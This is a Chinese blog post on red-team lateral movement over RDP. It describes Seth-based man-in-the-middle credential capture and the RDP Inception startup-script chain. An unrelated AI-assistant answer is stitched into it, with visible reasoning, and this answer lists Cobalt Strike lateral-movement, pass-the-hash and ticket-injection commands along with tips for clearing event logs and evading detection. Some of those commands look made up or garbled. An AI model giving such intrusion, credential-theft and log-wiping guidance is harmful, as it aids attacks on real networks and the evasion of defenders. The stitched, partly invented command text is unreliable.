横向移动之RDP&Desktop Session Hijack

文章前言

管理员在内部网络中广泛使用远程桌面协议(rdp),这允许系统所有者和管理员远程管理windows环境,然而RDP可以给攻击者提供各种机会来实施攻击,这些攻击可以用于红队场景中的横向移动,下面的攻击可以让RedTeam获得凭据,劫持其他用户的RDP会话,并对远程系统执行任意代码,这些远程系统将使用RDP作为受感染工作站的身份验证机制。

RDP劫持

实施中间人攻击通常会导致凭据捕获,它正在对RDP会话执行这种攻击,这将允许攻击者为了横向移动的目的而轻易地获得域帐户的纯文本密码,seth是一个工具,无论是否启用网络级身份验证(nla),它都可以自动执行RDP中间人攻击,实施这种攻击需要四个参数:

  • 以太网接口

  • 攻击者的ip

  • 受害主机的ip

  • 目标rdp主机的ip

./seth.sh eth0 10.0.0.2 10.0.0.3 10.0.0.1

在执行时,该工具将在后台执行一系列步骤,以确保成功实施攻击:

  1. ARP欺骗

  2. 允许转发ipv4流量,将流量从受害主机重定向到攻击者计算机,然后重定向到目标rdp服务器

  3. 配置iptable规则来拒绝syn数据包,以防止直接rdp身份验证

  4. 捕获目的主机的syn数据包

  5. ssl证书的克隆

  6. 重新配置iptables规则,将流量从受害工作站路由到目标rdp主机

  7. 阻止到端口88的流量,以将kerberos身份验证降级到ntlm

步骤1-3将在受害者认证之前执行,试图通过rdp向目标服务器进行身份验证的用户将收到以下消息:

当用户建立连接时,凭据将以纯文本形式显示给攻击者

PS:该方法笔者在本地未实验成功,因为有SSL强校验,在实战中建议慎用~

RDP Inception

mdsec发现了一种技术,该技术允许攻击者在启动时执行任意代码并通过RDP连接传播,从而在网络内部执行横向移动,整个思路大致如下:

而在渗透测试中,如果我们获得某台服务器C的控制权,而最终目标是PC X,但由于对方高度安全的网络环境限制,我们只有采取RDPInception攻击方式,通过对接入C的服务器B进行攻击控制,之后,对接入B的服务器A进行攻击控制,最终,对接入A的PC X形成攻击控制,整个攻击链如下:

PC X RDP ————> Server A
Server A RDP ————> Server B
Server B RDP ————> Server C

为了促进这种攻击,mdsec开发了一个批处理脚本(https://github.com/mdsecactivebreach/RDPInception)来实现概念验证,不过该技术在利用时有一个先决条件就是内网其他主机远程连接受感染主机时"本地资源"选项中设置了加载C盘:

之后攻击者可以在已经获得访问权限的主机上执行批处理脚本将获得一个shell

该脚本执行之后将会在已经获得访问权限的WIndow 7主机上和远程连接的主机上同时创建启动项:

文章内容过多,不想再复制一遍了,更多内容请访问一下原文链接进行查看:

横向移动之RDP&Desktop Session Hijack

未知攻,焉知防,以攻促防,共筑安全~

个人知乎:https://www.zhihu.com/people/flypeng-56
个人优快云:https://blog.youkuaiyun.com/Fly_hps
个人GitHub:https://github.com/Al1ex
个人云+社区:https://cloud.tencent.com/developer/user/8423247
安全团队公众号:七芒星实验室

欢迎关注微信公众号"七芒星实验室"获取最新安全动态~

<think>我们正在讨论CobaltStrike的横向移动技术。根据用户提供的引用内容,横向移动涉及RDP(远程桌面协议)和CobaltStrike工具的使用。同时,引用中提到了提权所需的插件链接。但是,用户的问题主要集中在横向移动的使用方法或技术实现上。横向移动是攻击者在获取网络内一台机器的访问权限后,尝试扩展到其他机器的过程。在CobaltStrike中,横向移动可以通过多种方式实现,包括利用RDP、WMI、SMB、PsExec等。由于CobaltStrike是一个商业渗透测试工具,通常由安全专业人员用于模拟攻击,因此我们将从技术角度讨论其横向移动功能。###CobaltStrike横向移动的常见方法1.**使用RDP(远程桌面协议)**:-在已经获取到目标机器凭证(如用户名和密码或哈希)的情况下,可以通过RDP登录到目标机器。-CobaltStrike提供了`rdp`命令,可以启动一个远程桌面会话。-另外,也可以使用CobaltStrike的`jump`命令,通过已有的Beacon会话跳转到其他机器(使用psexec、winrm、wmi等方式)。2.**使用PsExec**:-PsExec是SysInternals工具包中的一个工具,常用于在远程机器上执行命令。-CobaltStrike的`psexec`命令可以利用已有的Beacon会话在目标机器上执行Payload,从而获得一个新的Beacon会话。3.**使用WMI(WindowsManagementInstrumentation)**:-WMI提供了管理远程Windows系统的能力。-CobaltStrike的`jumpwinrm`或`wmi`命令可以通过WMI在目标机器上执行Payload。4.**使用SMBBeacon**:-SMBBeacon通过命名管道进行通信,允许Beacon会话通过父Beacon进行通信(即不需要直接出网)。-这种方法在横向移动时非常隐蔽,因为流量是通过已有的Beacon传递的。5.**利用漏洞进行横向移动**:-如果目标存在漏洞(如MS17-010永恒之蓝),也可以利用这些漏洞进行横向移动。###具体操作步骤(以PsExec为例)假设我们已经控制了一台机器(A),并且获得了域管理员凭证,现在我们想横向移动到机器B(已知IP或主机名)。1.**在CobaltStrike中,确保已经有一个Beacon会话(机器A)**。2.**使用`psexec`命令**:-在Beacon控制台中输入:`psexec[目标机器B的IP或主机名][监听器]`-例如:`psexec192.168.1.101http`-这里的`http`是已经配置好的HTTP监听器。3.**等待结果**:-如果成功,机器B将会连接回CobaltStrike团队服务器,并建立一个新的Beacon会话。###关于提权在横向移动之前,有时需要提权。引用中提到的ElevateKit是一个提权工具集,可以通过CobaltStrike的`elevate`命令使用。但请注意,横向移动不一定需要先提权,如果当前权限已经足够(如拥有目标机器的管理员凭证),则可以直接进行。###安全注意事项-使用CobaltStrike进行横向移动必须在合法授权的渗透测试中进行。-未经授权的使用是非法的。###参考文献根据用户提供的引用,我们引用了关于横向移动和提权插件的部分[^1]。§§相关问题§§1.如何配置SMBBeacon进行横向移动?2.CobaltStrike中横向移动失败的可能原因有哪些?3.除了RDP和PsExec,CobaltStrike还支持哪些横向移动方法?4.如何利用CobaltStrike进行漏洞利用(如MS17-010)实现横向移动?</think>### Cobalt Strike横向移动技术详解 #### 1. 核心概念 横向移动是攻击者在获取初始立足点后,在目标网络内横向扩展控制范围的技术。Cobalt Strike通过Beacon代理实现以下核心功能: - **凭证传递**:使用获取的凭据(如哈希/NTLM令牌)绕过认证 - **协议利用**:通过RDP、SMB、WMI等协议建立新会话 - **隐蔽通信**:Beacon的异步通信设计可绕过基础防御 $$ \text{攻击链模型} : \text{初始访问} \rightarrow \text{凭证窃取} \rightarrow \text{横向移动} \rightarrow \text{目标达成} $$ #### 2. 常用横向移动方法 ##### (1) RDP横向移动 ```python # 在Beacon控制台执行 jump psexec64 <目标IP> <监听器> # 使用PsExec模块 remote-exec winrm <目标IP> <命令> # 通过WinRM执行命令 ``` - 需提前获取管理员凭据 - 配合`portscan`命令识别开放3389端口的主机 ##### (2) SMB协议传递 ```python # 哈希传递攻击(PTH) pth <域名>\<用户> <NTLM哈希> use <获取的票据> # 注入Kerberos票据 ``` - 利用Windows身份验证机制缺陷 - 要求目标开启SMB服务(445端口) ##### (3) WMI远程执行 ```python jump winrm64 <目标IP> <监听器> # 通过WinRM powershell-import Invoke-WMIExec.ps1 # 加载WMI脚本 ``` - 依赖135/5985端口 - 更隐蔽但执行速度较慢 #### 3. 技术实现要点 1. **监听器配置**: - HTTP/HTTPS监听器用于外联 - SMB监听器用于内部横向通信 ```python set smb_frame_header "\x00" # 设置隐蔽通信特征 ``` 2. **凭证管理**: ```python make_token DOMAIN\user password # 创建访问令牌 kerberos_ticket_use /path/to/ticket.kirbi # 注入Kerberos票据 ``` 3. **规避检测**: - 使用`sleep 0`实现实时交互 - `checkin`命令分段传输数据 - 设置`jitter`参数扰乱通信周期 #### 4. 防御规避建议 1. **日志清理**: ```python clearev # 清除事件日志 ``` 2. **进程注入**: ```python inject <pid> <监听器> # 注入合法进程 ``` 3. **流量伪装**: ```python set http_stager "/css/jquery.min.js" # 伪装为JS文件 ``` > **注意**:所有操作需在合法授权测试中进行,未经授权的使用违反法律[^1]。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值